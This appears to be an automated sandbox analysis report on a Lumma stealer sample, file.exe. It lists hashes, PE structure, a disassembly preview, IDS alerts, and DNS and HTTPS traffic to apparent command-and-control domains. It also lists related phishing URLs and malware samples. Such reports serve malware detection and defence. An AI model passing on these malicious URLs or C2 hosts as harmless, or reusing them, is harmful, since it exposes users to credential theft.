CLOUDFLARENETUS	https://s.craft.me/yB5midhwwaHUPW	Get hash	malicious	HTMLPhisher	Browse	104.16.40.28
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzA1Mzk4LCJuYmYiOjE3MjgzMDUzOTgsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJpeHI5d3pqeGcwZnI2NGJjbGwycyIsInRva2VuIjoiaXhyOXd6anhnMGZyNjRiY2xsMnMiLCJzZW5kX2F0IjoxNzI4MzA0MzU0LCJlbWFpbF9pZCI6OTk2Mzg3MCwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTM4MjUsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj1TcHJpbmcraGFzK3NwcnVuZyslRjAlOUYlOEMlQjEifQ.HIDfaWGNVn-TCtUT4qZNHq7EdymoLEqvVA8XxZBU8z8	Get hash	malicious	HtmlDropper	Browse	104.21.23.186
	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Justificante de pago.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://ipp.safetyworksolutions.com/	Get hash	malicious	Unknown	Browse	104.21.43.105
	CSY6k9gpVb.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	188.114.97.3
AKAMAI-ASUS	out.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	cenSXPimaG.elf	Get hash	malicious	Mirai, Okiru	Browse	23.43.32.11
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	CSY6k9gpVb.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	104.102.44.86
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.53.8 104.102.49.254
	CSY6k9gpVb.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.53.8 104.102.49.254
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.53.8 104.102.49.254
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.53.8 104.102.49.254
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9505211163962715
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'861'632 bytes
MD5:	5d0beee43c279e20df593c949090fa0a
SHA1:	59ef176b2a0d1b8e54ab13f8a0e447104645b850
SHA256:	c6c522da27129bc6298ff5286c6c271a7b7bf6ae7376cf7c4fc84dba2dfb8ca0
SHA512:	8a9dc25176573dcb912dd45b28f14fa7937460d113485f3397a31e411503521520c3c35aab5c4fae5ca505b9f7e7198ff58208e75cd3b3a38c4e9009fa24a48c
SSDEEP:	24576:LZIp3mG4L+wXE5pV+TQPMbBlpLinTD+kLuupzQRNNToRs6RMuZc73x9liTOAFpT:Cp3mAwXEkTAMdPzeKCqu8li9L
TLSH:	4C8533259D7223E4C1FF24B4B5334727E2A0AE81E57358372727410D5A9AA3DFBD8638
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................J...........@...........................J......@....@.................................W...k..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8ab000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFF14A [Fri Oct 4 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F65C14C152Ah
cmovbe ebx, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F65C14C3525h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x25e00	04abec1da2252127bbfb0fe921a9cfa6	False	0.9995487830033003	data	7.97840910686373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	fe72def8b74193a84232a780098a7ce0	False	0.150390625	data	1.04205214219471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x60000	0x2ad000	0x200	f425d0ec9532c408ed690b2d7a67352a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jvjsmpcp	0x30d000	0x19d000	0x19d000	7b3ddbfa40a427b0312f2a18f6d014b7	False	0.9944149137409201	data	7.95452951026357	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gwbnwyoc	0x4aa000	0x1000	0x400	af944ca8427f5942f0d5491c0ad3194f	False	0.8505859375	data	6.454970508041616	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4ab000	0x3000	0x2200	f1032bf8f2771f9eb9b5357510603774	False	0.05307904411764706	DOS executable (COM)	0.5944272086126215	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T21:18:06.395836+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	61074	1.1.1.1	53	UDP
2024-10-07T21:18:06.422416+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	63703	1.1.1.1	53	UDP
2024-10-07T21:18:06.436400+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	59587	1.1.1.1	53	UDP
2024-10-07T21:18:06.450019+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	50478	1.1.1.1	53	UDP
2024-10-07T21:18:06.462444+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	49861	1.1.1.1	53	UDP
2024-10-07T21:18:06.475159+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	56178	1.1.1.1	53	UDP
2024-10-07T21:18:06.487153+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	55214	1.1.1.1	53	UDP
2024-10-07T21:18:06.499407+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	49546	1.1.1.1	53	UDP
2024-10-07T21:18:08.691517+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49713	104.21.53.8	443	TCP
2024-10-07T21:18:08.691517+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49713	104.21.53.8	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 21:18:06.526747942 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:06.526782990 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:06.526973009 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:06.531405926 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:06.531440020 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.144500971 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.144684076 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.146994114 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.147006035 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.147337914 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.187220097 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.194268942 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.235512972 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.597767115 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.597837925 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.597841978 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.597871065 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.597892046 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.597896099 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.597918034 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.597942114 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.598001957 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.598012924 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.640331984 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.691122055 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.691152096 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.691198111 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.691200972 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.691221952 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.691237926 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.691258907 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.691270113 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.691286087 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.691313028 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.696512938 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.696579933 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.696628094 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.696691036 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.696701050 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.696774006 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.696819067 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.717144012 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.717161894 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.717185020 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 7, 2024 21:18:07.717192888 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 7, 2024 21:18:07.747994900 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 7, 2024 21:18:07.748023987 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 7, 2024 21:18:07.748106003 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 7, 2024 21:18:07.748505116 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 7, 2024 21:18:07.748518944 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 7, 2024 21:18:08.204598904 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 7, 2024 21:18:08.204829931 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 7, 2024 21:18:08.206248045 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 7, 2024 21:18:08.206269026 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 7, 2024 21:18:08.206784010 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 7, 2024 21:18:08.207930088 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 7, 2024 21:18:08.207958937 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 7, 2024 21:18:08.208019972 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 7, 2024 21:18:08.691309929 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 7, 2024 21:18:08.691432953 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 7, 2024 21:18:08.691637039 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 7, 2024 21:18:08.692264080 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 7, 2024 21:18:08.692286015 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 7, 2024 21:18:08.692528009 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 7, 2024 21:18:08.692538023 CEST	443	49713	104.21.53.8	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 21:18:06.395836115 CEST	61074	53	192.168.2.6	1.1.1.1
Oct 7, 2024 21:18:06.417903900 CEST	53	61074	1.1.1.1	192.168.2.6
Oct 7, 2024 21:18:06.422415972 CEST	63703	53	192.168.2.6	1.1.1.1
Oct 7, 2024 21:18:06.433094978 CEST	53	63703	1.1.1.1	192.168.2.6
Oct 7, 2024 21:18:06.436399937 CEST	59587	53	192.168.2.6	1.1.1.1
Oct 7, 2024 21:18:06.448349953 CEST	53	59587	1.1.1.1	192.168.2.6
Oct 7, 2024 21:18:06.450018883 CEST	50478	53	192.168.2.6	1.1.1.1
Oct 7, 2024 21:18:06.461049080 CEST	53	50478	1.1.1.1	192.168.2.6
Oct 7, 2024 21:18:06.462444067 CEST	49861	53	192.168.2.6	1.1.1.1
Oct 7, 2024 21:18:06.473948956 CEST	53	49861	1.1.1.1	192.168.2.6
Oct 7, 2024 21:18:06.475158930 CEST	56178	53	192.168.2.6	1.1.1.1
Oct 7, 2024 21:18:06.485716105 CEST	53	56178	1.1.1.1	192.168.2.6
Oct 7, 2024 21:18:06.487153053 CEST	55214	53	192.168.2.6	1.1.1.1
Oct 7, 2024 21:18:06.497327089 CEST	53	55214	1.1.1.1	192.168.2.6
Oct 7, 2024 21:18:06.499407053 CEST	49546	53	192.168.2.6	1.1.1.1
Oct 7, 2024 21:18:06.510207891 CEST	53	49546	1.1.1.1	192.168.2.6
Oct 7, 2024 21:18:06.513819933 CEST	58850	53	192.168.2.6	1.1.1.1
Oct 7, 2024 21:18:06.522088051 CEST	53	58850	1.1.1.1	192.168.2.6
Oct 7, 2024 21:18:07.725936890 CEST	60829	53	192.168.2.6	1.1.1.1
Oct 7, 2024 21:18:07.747046947 CEST	53	60829	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 21:18:06.395836115 CEST	192.168.2.6	1.1.1.1	0xc691	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.422415972 CEST	192.168.2.6	1.1.1.1	0x5efb	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.436399937 CEST	192.168.2.6	1.1.1.1	0xf6eb	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.450018883 CEST	192.168.2.6	1.1.1.1	0x8d6a	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.462444067 CEST	192.168.2.6	1.1.1.1	0x4899	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.475158930 CEST	192.168.2.6	1.1.1.1	0xc03b	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.487153053 CEST	192.168.2.6	1.1.1.1	0xe9b7	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.499407053 CEST	192.168.2.6	1.1.1.1	0x8014	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.513819933 CEST	192.168.2.6	1.1.1.1	0x17c5	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:07.725936890 CEST	192.168.2.6	1.1.1.1	0xb505	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 21:18:06.417903900 CEST	1.1.1.1	192.168.2.6	0xc691	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.433094978 CEST	1.1.1.1	192.168.2.6	0x5efb	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.448349953 CEST	1.1.1.1	192.168.2.6	0xf6eb	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.461049080 CEST	1.1.1.1	192.168.2.6	0x8d6a	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.473948956 CEST	1.1.1.1	192.168.2.6	0x4899	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.485716105 CEST	1.1.1.1	192.168.2.6	0xc03b	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.497327089 CEST	1.1.1.1	192.168.2.6	0xe9b7	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.510207891 CEST	1.1.1.1	192.168.2.6	0x8014	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:06.522088051 CEST	1.1.1.1	192.168.2.6	0x17c5	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:07.747046947 CEST	1.1.1.1	192.168.2.6	0xb505	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:07.747046947 CEST	1.1.1.1	192.168.2.6	0xb505	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

sergei-esenin.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	104.102.49.254	443	3040	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:18:07 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-07 19:18:07 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 07 Oct 2024 19:18:07 GMT Content-Length: 34837 Connection: close Set-Cookie: sessionid=4fce918b41560a7a9b5c9cd0; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-07 19:18:07 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-07 19:18:07 UTC	16384	IN	Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f Data Ascii: <script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 